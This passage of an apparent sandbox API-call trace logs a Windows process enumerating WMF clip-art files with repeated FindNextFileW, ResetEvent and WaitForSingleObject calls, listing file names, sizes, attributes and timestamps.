nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0264.424] ResetEvent (hEvent=0x2b8) returned 1 [0264.424] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.429] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0264.429] ResetEvent (hEvent=0x2b8) returned 1 [0264.430] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.584] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0264.584] ResetEvent (hEvent=0x2b8) returned 1 [0264.584] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.598] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0264.599] ResetEvent (hEvent=0x2b8) returned 1 [0264.599] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.835] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0264.835] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0264.836] ResetEvent (hEvent=0x2b8) returned 1 [0264.836] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.855] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0264.856] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0264.856] ResetEvent (hEvent=0x2b8) returned 1 [0264.856] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.869] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0264.869] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0264.869] ResetEvent (hEvent=0x2b8) returned 1 [0264.869] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.873] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6c3c1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0264.873] ResetEvent (hEvent=0x2b8) returned 1 [0264.873] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0264.886] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0264.886] ResetEvent (hEvent=0x2b8) returned 1 [0264.886] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.066] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0265.066] ResetEvent (hEvent=0x2b8) returned 1 [0265.066] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.096] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0265.097] ResetEvent (hEvent=0x2b8) returned 1 [0265.097] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.106] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0265.107] ResetEvent (hEvent=0x2b8) returned 1 [0265.107] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.412] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0265.412] ResetEvent (hEvent=0x2b8) returned 1 [0265.412] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.423] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6c3c1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6c3c1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0265.423] ResetEvent (hEvent=0x2b8) returned 1 [0265.423] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.430] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0265.430] ResetEvent (hEvent=0x2b8) returned 1 [0265.430] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0265.439] ResetEvent (hEvent=0x2b8) returned 1 [0265.439] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.450] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0265.450] ResetEvent (hEvent=0x2b8) returned 1 [0265.450] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.466] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6e9e74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe6e9e74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe6e9e74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0265.467] ResetEvent (hEvent=0x2b8) returned 1 [0265.467] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.472] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe736331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe736331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0265.472] ResetEvent (hEvent=0x2b8) returned 1 [0265.472] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0265.700] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0265.700] ResetEvent (hEvent=0x2b8) returned 1 [0265.700] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0266.146] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0266.146] ResetEvent (hEvent=0x2b8) returned 1 [0266.146] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0266.159] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0266.160] ResetEvent (hEvent=0x2b8) returned 1 [0266.160] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0266.164] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0266.164] ResetEvent (hEvent=0x2b8) returned 1 [0266.164] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0266.859] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0266.859] ResetEvent (hEvent=0x2b8) returned 1 [0266.859] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0266.871] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0266.878] ResetEvent (hEvent=0x2b8) returned 1 [0266.878] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0266.888] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0266.889] ResetEvent (hEvent=0x2b8) returned 1 [0266.889] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0266.893] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0266.893] ResetEvent (hEvent=0x2b8) returned 1 [0266.893] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.095] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0267.095] ResetEvent (hEvent=0x2b8) returned 1 [0267.095] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.105] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe78281d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe78281d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0267.105] ResetEvent (hEvent=0x2b8) returned 1 [0267.106] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.114] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe78281d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe78281d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0267.114] ResetEvent (hEvent=0x2b8) returned 1 [0267.114] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.118] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe78281d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe78281d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe78281d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0267.118] ResetEvent (hEvent=0x2b8) returned 1 [0267.118] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.132] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe78281d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe78281d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe78281d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0267.132] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe736331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe736331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe78281d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0267.132] ResetEvent (hEvent=0x2b8) returned 1 [0267.132] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.456] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe736331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe736331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe75c571, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0267.456] ResetEvent (hEvent=0x2b8) returned 1 [0267.456] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.468] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe75c571, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe75c571, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe78281d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0267.468] ResetEvent (hEvent=0x2b8) returned 1 [0267.468] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.485] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe736331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe736331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe75c571, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0267.485] FindNextFileW (in: hFindFile=0x33e4b68, 